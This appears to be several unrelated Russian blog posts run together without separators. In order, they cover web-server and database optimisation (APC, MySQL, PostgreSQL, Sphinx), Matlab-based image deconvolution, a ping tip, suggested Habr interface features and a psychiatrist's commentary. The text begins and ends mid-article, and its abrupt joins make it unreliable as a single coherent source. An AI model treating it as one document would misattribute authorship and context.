Фрагментация в APC — это такая штука, из-за которой этот самый кеш хочется взять, скомкать и выкинуть в окно. APC не являтеся заменой нормальному key-value по причине его неспособности удалять автоматом записи по TTL или LRU. То есть, нету никакого GC и записи попавшие в кеш от туда могут уйти только в двух случаях:
- Когда к ним обратились после истечения их ttl
- Вся память кончилась и APC прибег к экстренной мере — сброс всего кеша целиком.
Суммируя, можно сказать: Высокая фрагментация является признаком того, что вы используете APC не по назначению.
Тут нужно добавить заметку, судя по комментам тут, в 3.1.х очень многое поправили в плане аллокации памяти, однако судя по этому, 3.1.х работает не у всех.
3.2 PHP 5.3
Тут всё кажется простым — обновляем PHP, получаем прирост производительности. Однако, посмотрев на список deprecated функций в 5.3 можно ужаснутся, благо они пока ещё работают.
Несмотря на всю простоту, думаю, переход от 5.2 до 5.3 будет ойойой каким долгим, особенно в продакшне.
4. Оптимизация базы данных
На самом деле лучшими оптимизациями БД у нас в клубе признаны:
- Не использование RDBMS вообще (sphinxsearch)
- Не использование базы (кеширование)
- Batch запросы (where in (...), batch insert/update)
- Ассинхронная работа с БД (memcacheQ, apacheMQ, AQMP, crontab)
Однако, большая часть вышеописанных средств требуют довольно серьёзного переписывания приложения.
4.1 MySQL
Мануалов в инете по оптимизации MySQL довольно много, есть грамотные, есть не очень. В любом случае, за время жизни любого веб-проекта его база успеет упереться и в память, и в диск, и может даже в процессор, так что простыми howto не обойтись, придётся смотреть конференции, учится пользоваться профайлерами(oprofile, systemtap, dtrace) и использовать большое кол-во дополнительного ПО. Иными словами, не только понимать, что такое индексы, сортировки и группировки, но так же понимать как MySQL их использует внутри, знать что такое EXPLAIN, Query cache, преимущества и недостатки различных storage engine'ов, в общем, быть 100% DBA для своего проекта.
Далее я опишу способы которые помогут с минимальными изменениями кода (а то и вовсе без них), оптимизировать MySQL.
Как я уже говорил в предыдущей части, 50% тюнинга MySQL можно провести в полуавтоматическом режиме всего двумя утилитами:
4.1.1 Переход на 5.1
Переход на 5.1 приносит множество бонусов, мне конкретно были интересны:
- Оптимизация оптимизатора (особенно GROUP BY)
- InnoDB plugin
- Partitioning
- Row based replication
Всё это может прибавить производительности, так что на 5.1 перелезать стоит. По поводу шума вокруг того что 5.1 не стабильна, то всё это уже не актуально, да и изначально было слишком раздуто (если у кого есть какие противопоказания или bad expirience перехода на 5.1 — прошу в комменты).
Самые экстрималы, конечно, уже давно тестируют 5.4, там говорят производительность очень хорошо подняли (не без помощи патчей от Гугла и Percona, я думаю). Но до продакшна 5.4 ещё далеко.
4.1.2 Переход на InnoDB
Вот скажите, если у вас используется MyISAM, то почему именно он? Я вообще не понимаю как может продакшн сервер жить на MyISAM (хотя, говорят такие существуют), где нет транзакций (если сервер упадёт во время большого UPDATE, то половина данных будет изменена, а половина нет), есть TABLE LOCK (во время записи в таблицу она блокируется на чтение и vice vresa), а REPAIR после пропадания электричества в датацентре может занимать десятки часов. Единственное, что спасает MyISAM — это наличие Fulltext Index, но даже он вряд ли может конкурировать по качеству и скорости со sphinxsearch.
Да, у InnoDB есть свои недостатки (deadlock'и, бОльшие по размеру индексы, отсутствие FTS), но бонусов, имхо, в разы больше: Во-первых, InnoDB полностью ACID-совместим, а значит любая операция, даже такая как дамп базы данных, может быть произведена в одну транзакцию (опция mysqldump --single-transaction), а во-вторых, он имеет row-level locking (против TABLE LOCK у myisam), это означает, что данные могут одновременно и читаться и писаться в несколько потоков не блокируя друг друга.
Опять же, люди совсем озабоченные производительностью сердца своего стартапа могут использовать XtraDB, говорят оно сильно помогает на I/O-bound workload'ах.
4.1.3 Встроеный кеш MySQL — Query Cache
Query Cache — это одна из самых «недопонимаемых» частей MySQL. Многие его ставят в 512Mb и думают, что «щас всё залетает», многие его отключают вообще потому, что «всёравно не работает». Попытаюсь пролить свет на значение этого параметра. Начну с того, что больше, в данном случае, не лучше, так что задирать его не стоит. Далее, надо уточнить, что Query Cache — это полностью не распараллеленная подсистема, так что на кол-ве процессоров >=8 её лучше отключать, ибо будет только тормозить. Ну и последнее, но не самое бесполезное — суть Query Cache в том, что его содержимое, относящееся к какой либо таблице, полностью сбрасывается при любом изменении этой самой таблицы. Тоесть, фактически, Query Cache даёт прирост производительности только на грамотно нормализованных таблицах.
Подробнее о QC можно прочитать тут.
4.1.4 Индексы
Как отсутствие индекса вредно для SELECT'a, так и лишние индексы вредны для INSERT/UPDATE. Часто бывает так, что старый, когда-то сделанный индекс, может жить в базе не один год, занимая драгоценную память и замедляя изменения данных. Тут приходит на помощь простенький SQL запрос. Полезно? Множество подобных tips'ов можно найти тут.
4.2 PostgreSQL
Для меня Postgres остаётся довольно странной системой: с одной стороны это база Enterprise класса и на нём бегает Skype, с другой настройки по умолчанию такие, что он может запустится даже на моём мобильнике. В общем надо тюнить, а тюнить тут можно практически всё. Из возможных почти 200 параметров, за тюнинг отвечают основные 45 =)
Кстати, что ещё поразило, так это то, что при закомменчивании строки в конфиге, PostgreSQL не сбрасывает её на «дефолт», а использует ту, что «запомнил»… Показалось?
По тюнингу Postgres в инете много всего (часть мануалов устарела, так что обращайте внимание на дату публикации и ключевое слово vacuum_mem, которое заменено на maintenance_mem в новых версиях). Есть что-то типа FAQ: вскользь о главном, есть очень глубокомысленные трактаты для продвинутых администраторов БД… Я расскажу лишь основы которые помогут проекту продержаться на ногах, пока админ с програмером ищут квалифицированного DBA.
4.2.1 Индексы
Тут у некоторых может возникнуть справедливый вопрос: почему, мол, у MySQL индексы были на последнем месте, а у PosgreSQL на первом? Всё просто, ибо возможности его в этом плане намного выше, чем у MySQL. B-tree, hash, GiST, GIN, а также multicolumn, partial и indexes on expressions: во всём этом должен разбираться человек который программирует под PostgerSQL. И не просто знать, что такие существуют, а понимать, в каких случаях нужно использовать одни типы индексов, а в каких другие.
Полезные для мониторинга SQL-запросы (в том числе и статистику по индексам) можно найти тут.
4.2.2 pgBouncer и другие.
pgBouncer (или его альтернатива) — первое, что должно быть установлено на сервере с базой данных. Я уже насмотрелся на cacti-графики показывающие десятикратное падение нагрузки от простой установки менеджера соединений. Если пулер соединений у вас не установлен, то на каждое соединение с базой у вас запускается отдельный процесс, далее этот процесс отъедает, как минимум, work_mem оперативки и начинает бороться за CPU и жесткий диск с себе подобными выполняя SQL запрос. Всё бы хорошо, но вот когда количество таких процессов зашкаливает за 200-500 серверу, даже очень мощному, становится туго. Очень туго. pgBouncer нас от этого спасает.
Также список полезных или даже незаменимых приложений для работы с PostgreSQL можно найти на сайте postgresqlrussia.org.
4.2.3 pgFouine
pgFouine как раз одна из таких незаменимых программ. Это очень продвинутый аналог mysqlsla на php. В комплекте с Playr (реплэйер продакшн логов) она позволяет проводить оптимизацию запросов на staging серверах в практически «боевых» условиях.
4.3 Разгрузка базы данных
Как я уже говорил, лучший способ оптимизировать работу БД и увеличить её производительность — это обращаться к ней как можно реже.
4.3.1 SphinxQL
В прошлой статье я говорил, про то что мы ввели поиск на основе sphinxsearch. Но не все смогут перерыть тысячи строк кода, чтобы начать использовать SphinxAPI, а потом потратить ещё 1-2 итерации на тестирование и отлов багов. Проблема решилась очень элегантно: SphinxSearch научился притворяться MySQL сервером, то есть для того чтобы начать его использовать необходимо лишь создать sphinx.conf, создать записи для indexer'a в cron'e и переключить поиск на другую «как бы mysql» базу. Есть вероятность, что дальнейшей правки кода не понадобиться.
Что вы получаете при переходе на сфинкс? Кроме улучшений скорости и качества поиска, вы сможете избавиться от MyISAM и его FTS, ну и, что очень интересно, так это придумать новые применения вашему поиску, мы вот, объединили поиск с RSS, что оказалось весьма удобным.
А вот и пара примеров, в которых можно выиграть от наличия sphinxsearch (придумано почти с ходу, так что сильно не бейте):
Пример 1: Я давно жду Starcraft 2, я всегда могу добавить в Google Reader RSS вида: rss.php?q=«starcraft 2» и увидеть все сообщения в которых его обсуждают. Так же, я, как участник форума, хочу видеть все посты где упоминается мой ник. Это тоже не проблема, надо всего лишь подправить урл.
Пример 1.5: Пользователь зашёл на сайт увидел строку поиска, ввёл запрос, нечего не нашлось, но появилась ссылка «Подписаться на этот поиск», со ссылкой на RSS для этого запроса. Так просто пользователь от вас не уйдёт =))
Пример 2: Я хочу найти фильм 21, или, не дай Бог, фильм 9 — MySQL не самоубийца, он такой запрос просто откинет, посетовав на то, что ft_min_word_len больше, чем длинна запроса. Сфинкс практически мгновенно вернёт результат в виде «Двадцать Одно / 21», а во втором случае даже даст выбор между «Район №9 / District 9» и «Девять / 9».
4.3.2 Не-RDBMS хранилище
Существует очень много мест в проекте, где можно не использовать реляционную базу данных. Достаточно простого key-value хранилища. Благо таких сейчас хватает.
Также есть весьма интересные проекты как, например, Hive (Data Warehouse с SQL-подобным QL и бекендом в виде Hadoop). В общем с хранилищем данных, можно ой как поэкспериментировать, не одним Oracle'ом (MySQL'ем, PostgreSQL'ем, FoxPro, нужное подчеркнуть) живы.
Также key-value БД из-за своей скорости используются для кешиорвание выборок из реляционных баз. По поводу самого кеширования: после пролистывания презентации, просмотра видео и прочтения полного текста доклада из блога Андрея Смирнова, мне практически нечего добавить. Лишь пара советов:
Если у вас действительно большой проект на PHP, то не забываете про возможность opcode cache хранить custom данные. В нём можно хранить самые часто используемые глобальные переменные: во-первых их не много и они маленькие, так что памяти кушать они будут совсем чуть-чуть, во-вторых скорость выборки будет выше, чем из memcached находящегося на соседней машине. Ну и самое интересное: в больших проектах бывали случаи когда блок глобальных переменных записывали на какую-то одну машину из memcached-фермы, так как эти переменные юзают все бэкенды, то трафик на эту машину возрастал до неприличных размеров и машинка начинала очень сильно тормозить, а вместе с ней и все бэкенды. Выходом из такой ситуации являлось бы либо хранение глобальных переменных в opcode cacher'e типа APC/eAccelerator, либо клонирование переменных на все сервера из memcached-фермы и внесение исключений в алгоритм consistency hashing'а.
4.4 Кодировки
Небольшая заметка по поводу кодировок:
UTF-8 хорош всем кроме одного — русский текст в нём занмает ровно в два раза больше места, так что иногда есть над чем задумываться перед тем как его использовать, если у вас целиком одноязычный контингент.
4.5 Асинхронность
На самом деле, далеко не всегда требуется синхронная обработка данных, довольно часто её можно заменить асинхронной.
Асинхронная обработка помогает 1) Улучшить время реакции сайта/приложения 2) Уменьшить нагрузку на сервер.
Если с первым всё понятно, то второе является следствием того, что batch запросы выполняются быстрее одиночных.
Асинхронность можно организовать по разному. В крупных проектах для этого используют очереди сообщений (ApacheMQ, RabbitMQ, ZeroMQ. Про AQMP уже несколько раз писалось на хабре), в мелких можно обойтись и cron'ом.
Приложение. Мелочи.
1. SSHGuard или альтернатива.
Кроме того, что это стандартная практика ставить анти-брутфорс для ssh, так это ещё и дополнительно помогает защитить сервер от резких всплесков Load Avarenge когда на него нападают совсем офигевшие боты и начинают брутфорсить пары логин-пасс десятками тысяч.
2. xtrabackup
LVM снапшоты — это тормоз. mysqldump — лочит таблицы и делает текстовые бэкапы, которые могут восстанавливаться неделями. Очень хорошим инструментом для бэкапа MySQL является xtrabackup от Percona. Сильно расписывать его не буду, ибо русская часть инета о нём наслышана. Вкратце, xtrabackup это инструмент, позволяющий проводить не блокирующий бинарный бэкап InnoDB/XtraDB таблиц и имеющий кучу настроек. Почему очень хороший, а не отличный? Поскольку самым лучшим инструментом, на мой взгляд, являются клоны в ZFS. Делаются мгновенно, а восстановление базы с них это просто изменение пути к файлам в конфиге мускула, да и при неудачном востановлении можно откатится обратно. Также с клонов можно восстанавливать систему целиком, например в случае неудачного апгрейда ядра.
А вообще, вроде, в 5.4 нам обещают встроеный online backup
3. Перенос почты на другой хост
Данная оптимизация кажется минорной, однако при большом кол-ве спама льющегося на сервер помогает сильно уменьшить трафик и спасти множество IOPs.
4. Интеграция со сторонним ПО
Как-то на хабре проскакивала статья про online игры, мол, для всего нужно использовать наиболее подходящие средства (кто-нибудь помнит как она называлась?). Так, например, для того, чтобы дать возможность пользователям обмениваться почтовыми сообщениями с вложениями, не нужно начинать писать PHP скрипт с бэкендами в виде БД/ФС, можно использовать для этого, то что в реальной жизни применяется для обмена текстовыми сообщениями — связку smtp/imap и написать к ним простенький адаптер. По аналогии, чат для пользователей можно организовать на основе jabber сервера с javascript клиентом, который вообще не будет грузить сервер. Нужно отмечать объекты на на карте? Тут легче лёгкого написать mashup с использованием Yandex/Google карт. Что интересно, так такие системы, написанные на основе адаптера к готовым продуктам зачастую очень хорошо масштабируются, по крайней мере, на порядки лучше, чем решения на PHP и MySQL.
5. Мониторинг
Нечего оптимизировать, если не знаешь текущего состояния. Метрики производительности, задержек, свободных ресурсов, всё это должно мониториться, логироваться и, желательно, рисоваться на графиках. Благо инструментов хватает: Nagios, Zabbix, Cacti, Munin....
Берите любой, ставьте на сервак(и) и наблюдайте за влиянием оптимизаций на нагрузку сервера. Также мониторинг поможет предвидеть появление проблем с производительностью.
6. Минусы оптимизации
Bleeding-edge он, ведь, не случайно так назван. Во время переезда клуба на новый сервер мы это почувствовали на своей шкуре, умудрившись найти баги практически во всём (APC1, APC2, MySQL, nginx, xbtt), благо OpenSource, что-то простое можно самим починить.
Вместо послесловия
Ну вот, вроде, и всё. Почти неделю печатал… Что осилил, то осилил, за кадром оставил ZFS, распределённые ФС, репликацию и шардинг, ибо это темы для отдельных постов. С грамматикой и пунктуацией у меня всё очень плохо, хоть я конечно и проверил всё несколько раз в ворде и тавтологии, так что если что найдёте — пишите в личку, поправлю.
Критика в адрес статьи приветствуется, ибо если нашли косяк в посте, то, скорее всего, нашли косяк в одном из моих проектов.
Восстановление искаженных изображений является одной из наиболее интересных и важных проблем в задачах обработки изображений – как с теоретической, так и с практической точек зрения. Частными случаями являются размытие из-за неправильного фокуса и смаз – эти дефекты, с которым каждый из вас хорошо знаком, очень сложны в исправлении – именно они и выбраны темой статьи. С остальными искажениями (шум, неправильная экспозиция, дисторсия) человечество научилось эффективно бороться, соответствующие инструменты есть в каждом уважающем себя фоторедакторе.
Почему же для устранения смаза и расфокусировки практически ничего нету (unsharp mask не в счет) – может быть это в принципе невозможно? На самом деле возможно – соответствующий математический аппарат начал разрабатываться примерно 70 лет назад, но, как и для многих других алгоритмов обработки изображений, все это нашло широкое применение только в недавнее время. Вот, в качестве демонстрации вау-эффекта, пара картинок:
Я не стал использовать замученную Лену, а нашел свою фотку Венеции. Правое изображение честно получено из левого, причем без использования ухищрений типа 48-битного формата (в этом случае будет 100% восстановление исходного изображения) – слева самый обычный PNG, размытый искусственно. Результат впечатляет… но на практике не все так просто. Под катом подробный обзор теории и практические результаты.
Осторожно, много картинок в формате PNG!
Введение
Начнем издалека. Многие считают, что размытие необратимая операция и информация безвозвратно теряется, т.к. каждый пиксель превращается в пятно, все смешивается, а при большом радиусе размытия так и вовсе получим однородный цвет по всему изображению. Это не совсем так – вся информация просто перераспределяется по некоторому закону и может быть однозначно восстановлена с некоторыми оговорками. Исключение составляет лишь края изображения шириной в радиус размытия – там полноценное восстановление невозможно.
Продемонстрируем это «на пальцах», используя небольшой пример для одномерного случая – представим что у нас есть ряд из пикселей со значениями:
x1 | x2 | x3 | x4… – Исходное изображение
После искажения значение каждого пикселя суммируется со значением левого, т.е. x’i = xi + xi-1. По идее, надо еще поделить на 2, но опустим это для простоты. В результате имеем размытое изображения со значениями пикселей:
x1 + x0 | x2 + x1 | x3 + x2 | x4 + x3… – Размытое изображение
Теперь будем пробовать восстанавливать, вычтем последовательно по цепочке значения по схеме – из второго пиксела первый, из третьего результат второго, из четвертого результат третьего и так далее, получим:
x1 + x0 | x2 — x0 | x3 + x0 | x4 — x0… – Восстановленное изображение
В итоге вместо размытого изображения получили исходное изображение, к пикселям которого добавлена неизвестная константа x0 с чередующимся знаком. Это уже намного лучше – эту константу можно подобрать визуально, можно предположить, что она примерно равна значению x1, можно автоматически подобрать с таким критерием, чтобы значения соседних пикселей «скакали» как можно меньше и т.д. Но все меняется, как только мы добавляем шум (которые всегда есть в реальных изображениях). При описанной схеме на каждом шаге будет накапливаться вклад шума в общую составляющую, что в итоге может дать совершенно неприемлемый результат, но, как мы убедились, восстановление вполне реально даже таким примитивным способом.
Модель процесса искажения
А теперь перейдем к более формальному и научному описанию этих процессов искажения и восстановления. Будем рассматривать только полутоновые черно-белые изображения в предположении, что для обработки полноцветного изображения достаточно повторить все необходимые шаги для каждого из цветовых каналов RGB. Введем следующие обозначения:
f(x, y) – исходное неискаженное изображение
h(x, y) – искажающая функция
n(x, y) – аддитивный шум
g(x, y) – результат искажения, т.е. то, что мы наблюдаем в результате (смазанное или расфокусированное изображение)
Сформулируем модель процесса искажения следующим образом:
g(x, y) = h(x, y) * f(x, y) + n(x, y) (1)
Задача восстановления искаженного изображения заключается в нахождении наилучшего приближения f'(x, y) исходного изображения. Рассмотрим каждую составляющую более подробно. С f(x, y) и g(x, y) все достаточно понятно. А вот про функцию h(x, y) нужно сказать пару слов – что же она из себя представляет? В процессе искажения каждый пиксель исходного изображения превращается в пятно для случая расфокусировки и в отрезок для случая простого смаза. Либо же можно сказать наоборот, что каждый пиксель искаженного изображения «собирается» из пикселей некоторой окрестности исходного изображения. Все это друг на друга накладывается и в результате мы получаем искаженное изображение. То, по какому закону размазывается или собирается один пиксель и называется функцией искажения. Другие синонимы – PSF (Point spread function, т.е. функция распределения точки), ядро искажающего оператора, kernel и другие. Размерность этой функции, как правило меньше размерности самого изображения – к примеру, в начальном рассмотрении примера «на пальцах» размерность функции была 2, т.к. каждый пиксель складывался из двух.
Искажающие функции
Посмотрим как выглядят типичные искажающие функции. Здесь и далее будем использовать ставший уже стандартным для таких целей инструмент – Matlab, он содержит в себе все необходимое для самых разнообразных экспериментов с обработкой изображений (и не только) и позволяет сосредоточиться на самих алгоритмах, перекладывая всю рутинную работу на библиотеки функций. Впрочем, за это приходится расплачиваться производительностью. Итак, вернемся к PSF, вот примеры их вида:
PSF в случае размытия по Гауссу функцией fspecial('gaussian', 30, 8);
PSF в случае смаза фунцией fspecial('motion', 40, 45);
Операция применения искажающей функции к другой функции (к изображению, в данном случае) называется сверткой (convolution), т.е. некоторая область исходного изображения сворачивается в один пиксель искаженного изображения. Обозначается через оператор «*», не путать с обычным умножением! Математически для изображения f с размерами M x N и искажающей функции h c размерами m x n это записывается так:
(2)
Где a = (m — 1) / 2, b = (n – 1) / 2. Операция, обратная свертке, называется деконволюцией (deconvolution) и решение такой задачи весьма нетривиально.
Модель шума
Осталось рассмотреть последнее слагаемое, отвечающее за шум, n(x, y) в формуле (1). Причины шума в цифровых сенсорах могут быть самыми разными, но основные это – тепловые колебания и темновые токи. На величину шума также влияет ряд факторов, таких как значение ISO, тип матрицы, размер пикселя, температура, электромагнитные наводки и пр. В большинстве случаев шум является Гауссовым (который задается двумя параметрами – средним и дисперсией), а также является аддитивным, не коррелирует с изображением и не зависит координат пикселя. Последние три предположения являются очень важными для дальнейшей работы.
Теорема о свертке
Вернемся теперь к первоначальной постановке задачи восстановления – нам необходимо каким-то образом обратить свертку, при этом не забывая про шум. Из формулы (2) видно, что получить f(x, y) из g(x, y) не так-то просто – если решать, что называется, «в лоб», то получится огромная система уравнений. Но на помощь к нам приходит преобразование Фурье, не будем подробно на нем останавливаться, по этой теме уже было сказано немало. Так вот, есть такая теорема о свертке, которая гласит, что операция свертки в пространственной области эквивалентна обычному умножению в частотной области (причем умножение поэлементное, а не матричное). Соответственно, операция обратная свертке эквивалентна делению в частотной области, т.е это можно записать как:
(3)
Где H(u, v), F(u, v) – Фурье-образы соответствующих функций. Значит процесс искажения из формулы (1) можно переписать в частотной области как:
(4)
Инверсная фильтрация
Тут же напрашивается поделить это равенство на H(u, v) и получить следующую оценку F^(u, v) исходного изображения:
(5)
Это называется инверсной фильтрацией, но на практике практически никогда не работает. Почему же? Чтобы ответить на этот вопрос посмотрим на последнее слагаемое в формуле (5) – если функция H(u, v) принимает значение близкие к нулю или нулевые, то вклад этого слагаемого будет доминирующим. Это практически всегда встречается в реальных примерах – для объяснения этого вспомним как выглядит спектр после преобразование Фурье.
Берем исходное изображение,
преобразуем его в полутоновое и, используя Matlab, получаем спектр:
% Load image
I = imread('image_src.png');
figure(1); imshow(I); title('Исходное изображение');
% Convert image into grayscale
I = rgb2gray(I);
% Compute Fourier Transform and center it
fftRes = fftshift(fft2(I));
% Show result
figure(2); imshow(mat2gray(log(1+abs(fftRes)))); title('FFT - Амплитудный спектр (логарифмическая шкала)');
figure(3); imshow(mat2gray(angle(fftRes))); title('FFT - Фазовый спектр');
В результате получаем две компоненты: амплитудный и фазовый спектры. Про фазу, кстати, многие забывают. Обратите внимание, что амплитудный спектр показан в логарифмической шкале, т.к. его значения варьируются очень сильно – на несколько порядков, в центре максимальные значения (порядка миллионов) и быстро убывают практически до нулевых по мере удаления от центра. Именно из-за этого инверсная фильтрация будет работать только при нулевых или практически нулевых значениях шума. Продемонстрируем это на практике с помощью следующего скрипта:
% Load image
I = im2double(imread('image_src.png'));
figure(1); imshow(I); title('Исходное изображение');
% Blur image
Blurred = imfilter(I, PSF,'circular','conv' );
figure(2); imshow(Blurred); title('Размытое изображение');
% Add noise
noise_mean = 0;
noise_var = 0.0;
Blurred = imnoise(Blurred, 'gaussian', noise_mean, noise_var);
% Deconvolution
figure(3); imshow(deconvwnr(Blurred, PSF, 0)); title('Результат');
noise_var = 0.0000001 noise_var = 0.000005
Хорошо видно, что добавление даже очень небольшого шума приводит к значительным помехам, что сильно ограничивает практическое применение метода.
Существующие подходы для деконволюции
Но есть подходы, которые учитывают учитывают наличие шума на изображении – один из самых известных и самых первых, это фильтр Винера (Wiener). Он рассматривает изображение и шум как случайные процессы и находит такую оценку f' для неискаженного изображения f, чтобы среднеквадратическое отклонение этих величин было минимальным. Минимум этого отклонения достигается на функции в частотной области:
(6)
Этот результат был получине Винером в 1942 году. Подробный вывод здесь приводить не будем, те, кто интересуется, могут посмотреть его здесь . Функцией S здесь обозначаются энергетические спектры шума и исходного изображения соответственно – поскольку, эти величины редко бывают известны, то дробь Sn / Sf заменяют на некоторую константу K, которую можно приблизительно охарактеризовать как соотношение сигнал-шум.
Следующий метод, это «сглаживающая фильтрация методом наименьших квадратов со связью», другие названия: «фильтрация по Тихонову», «Тихоновская регуляризация». Его идея заключается в формулировке задачи в матричном виде с дальнейшем решением соответствующей задачи оптимизации. Это решение записывается в виде:
(7)
Где y – параметр регуляризации, а P(u, v) – Фурье-преобразование оператора Лапласа (матрицы 3 * 3).
Еще один интересный подход предложили независимо Ричардосн [Richardson, 1972] и Люси [Lucy, 1974]. Метод так и называется «метод Люси-Ричардсона». Его отличительная особенность в том, что он является нелинейным, в отличие от первых трех – что потенциально может дать лучший результат. Вторая особенность – метод является итерационным, соответственно возникают трудности с критерием останова итераций. Основная идея состоит в использовании метода максимального правдоподобия для которого предполагается, что изображение подчиняется распределению Пуассона. Формулы для вычисления достаточно простые, без использования преобразования Фурье – все делается в пространственной области:
(8)
Здесь символом «*», как и раньше, обозначается операция свертки. Этот метод широко используется в программах для обработки астрономических фотографий – в них использование деконволюции (вместо unsharp mask, как в фоторедакторах) является стандартом де-факто. В качестве примера можно привести Astra Image, вот примеры деконволюции. Вычислительная сложность метода очень большая – обработка средней фотографии, в зависимости от количества итераций, может знанимать многие часы и даже дни.
Последний рассматриваемый метод, а вернее, целое семейство методов, которые сейчас активно разрабатываются и развиваются – это слепая деконволюция (blind deconvolution). Во всех предыдущих методах предполагалось, что искажающая функция PSF точно известна, в реальности это не так, обычно PSF известна лишь приблизительно по характеру видимых искажений. Слепая деконволюция как раз является попыткой учитывать это. Принцип достаточно простой, если не углубляться в детали – выбирается первое приближение PSF, далее по одному из методов делается деконволюция, после чего некоторым критерием определяется степень качества, на основе нее уточняется функция PSF и итерация повторяется до достижения нужного результата.
Практика
Теперь с теорией все – перейдем к практике, начнем со сравнения перечисленных методов на изображении с искусственным размытием и шумом.
% Load image
I = im2double(imread('image_src.png'));
figure(1); imshow(I); title('Исходное изображение');
% Blur image
PSF = fspecial('disk', 15);
Blurred = imfilter(I, PSF,'circular','conv' );
% Add noise
noise_mean = 0;
noise_var = 0.00001;
Blurred = imnoise(Blurred, 'gaussian', noise_mean, noise_var);
figure(2); imshow(Blurred); title('Размытое изображение');
estimated_nsr = noise_var / var(Blurred(:));
% Restore image
figure(3), imshow(deconvwnr(Blurred, PSF, estimated_nsr)), title('Wiener');
figure(4); imshow(deconvreg(Blurred, PSF)); title('Regul');
figure(5); imshow(deconvblind(Blurred, PSF, 100)); title('Blind');
figure(6); imshow(deconvlucy(Blurred, PSF, 100)); title('Lucy');
Результаты:
Фильтр Винера
Регуляризация по Тихонову
Фильтр Люси-Ричардсона
Слепая деконволюция
Заключение
И в конце первой части немного затронем примеры реальных изображений. До этого все искажения были искусственными, что конечно хорошо для обкатки и изучения, но очень интересно посмотреть, как все это будет работать с настоящими фотографиями. Вот один пример такого изображения, снятого зеркалкой Canon 500D с ручным уводом фокуса:
Далее запускаем несложный скрипт:
% Load image
I = im2double(imread('IMG_REAL.PNG'));
figure(1); imshow(I); title('Исходное изображение');
%PSF
PSF = fspecial('disk', 8);
noise_mean = 0;
noise_var = 0.0001;
estimated_nsr = noise_var / var(I(:));
I = edgetaper(I, PSF);
figure(2); imshow(deconvwnr(I, PSF, estimated_nsr)); title('Результат');
И получаем следующий результат:
Как видно, на изображении появились новые детали, четкость стала гораздо выше, правда появились и помехи в виде «звона» на контрастных границах.
И пример с реальным смазом — для его осуществления фотоаппарат был установлен на штатив, выставлена относительно длинная выдержка и равномерным движением в момент срабатывания затвора был получен смаз:
Скрипт примерно тот же, только тип PSF теперь «motion»:
% Load image
I = im2double(imread('IMG_REAL_motion_blur.PNG'));
figure(1); imshow(I); title('Исходное изображение');
%PSF
PSF = fspecial('motion', 14, 0);
noise_mean = 0;
noise_var = 0.0001;
estimated_nsr = noise_var / var(I(:));
I = edgetaper(I, PSF);
figure(2); imshow(deconvwnr(I, PSF, estimated_nsr)); title('Результат');
Результат:
Качество, опять же, заметно улучшилось — стали различимы рамы на окнах, машины. Артефакты уже другие, нежели в предыдушем примере с расфокусировкой.
На этом интересном и закончим первую часть.
Во второй части я сосредоточусь на проблемах обработки реальных изображений — построения PSF и их оценки, рассмотрю более сложные и продвинутые техники деконволюции, методы устранения дефектов типа звона, проведу обзор и сравнения существующего ПО и прочее.
P.S. Не так давно была опубликована статья на хабре про Исправление смазанных фотографий в новой версии Photoshop
Для тех, кто хочет поиграться с похожей технологией устранения смаза (возможно, той самой, что будет использоваться в фотошопе), можно по этой ссылке скачать демо-версию приложения, посмотреть примеры восстановления, а также почитать про принцип работы.
Литература
Гонсалес Р., Вудс Р. Цифровая обработка изображений
Гонсалес Р., Вудс Р., Эддинс С. Цифровая обработка изображений в среде MATLAB
UPD: Ссылка на продолжение
--
Vladimir Yuzhikov
Многие для проверки доступности интернетов используют простое и короткое «ping ya.ru», но что делать если не работает днс или недоступен сам ресурс ya.ru? Есть легко запоминающийся ip адрес одного из днс серверов.
ping 4.2.2.2
upd: перенесено в «системное администрирование»
Интерфейс Хабра за все время существования не претерпел каких-то радикальных изменений, однако администрация постоянно улучшает удобство пользования сайтом, добавляя маленькие полезные фичи. Предлагаю список некоторых возможных улучшений и призываю хабровчан обсудить интерфейс Хабра в комментариях.
Инлайн-код
Введение тега source намного улучшило вид многих топиков, но не хватает простого добавления inline-кода в текст:
Embed-код
Сейчас существует множество сервисов, которые позволяют отображать демонстрацию кода непосредственно в тексте статьи, например CodePen:
Лайтбокс
Сервис habrastorage ужимает большие картинки, но было бы здорово, если бы он при загрузке большого изображения выдавал готовую конструкцию с превью и фулсайзом, которую останется только добавить в топик.
Картинки по центру
Это странно, но сейчас нет возможности расположить картинку по центру контента, поэтому некоторые статьи выглядят так:
А могут немного лучше:
Отступы
При создании хабратопика многие элементы разметки ведут себя очень странно, к примеру, заголовки (h1-h6) имеют отступ снизу, но не имеют сверху. Во многих статьях текст «прилипает» к картинкам, спискам и коду, либо наоборот, элементы слишком далеко расположены друг от друга. Вот простой пример:
Можно просто «съедать» лишние переносы строк и добавлять необходимые отступы
Дополнительные флаги
Прекрасно, что на Хабре ввели такую штуку, как флаги, но разных типов материалов на сайте больше, к примеру можно ввести флаг «подборка»:
Твиттер в профиле
Сейчас немного странная ситуация в профилях: под ником отображается последний твит, однако узнать имя пользователя в сервисе можно только посмотрев исходный код блока! Например у Boomburum:
Мобильные устройства
Я не мечтаю об адаптивном хабре, но читать топики на планшете и тем более смарфоне было бы удобнее, если бы правый сайдбар просто опускался ниже контента, не вызывая лишние горизонтальные скроллы.
А что бы вы добавили в этот список?
Когда моего знакомого психиатра А.Г. Данилина переполняет профессиональное чувство глупости мира сего, он просит сделать ролик, где делится своими мыслями со зрителями. Я думаю, что разговор получился довольно интересный.
«Я понимаю, что это очередной глас вопиющего в пустыне, но так как 10 октября мы празднуем день психического здоровья, то мне очень хочется, как профессионалу с большим стажем сообщить тем, кто захочет посмотреть это видео, что политика тотальных запретов не в состоянии привести общество и человека к состоянию психического здоровья.
У нас в стране существует какой-то привычный извращенный взгляд на вещи: если какая-то проблема нам мешает, то ее нужно просто запретить и забыть о ней. Хотя на самом деле из этого никогда ничего хорошего не получалось. Более того, мы жили в тоталитарном обществе, построенном на запретах, и нам то, казалось бы, должно было быть это прекрасно известно.
Я ни в коем случае не возражаю против закона о защите детей от информации, приносящей вред их здоровью развития. Вся беда в следующем — для того чтобы такой закон принимать, мы должны сначала принять единый закон об информации, которая приносит ребенку пользу. Мы должны сказать, вот дорогие родители, существуют огромный объем информации, приносящей ребенку пользу. Эту информацию можно взять там-то, там-то и там-то. А теперь, когда вы знаете, где взять ее, мы может спокойно запретить вредоносные сайты в интернете и многое другое тоже.
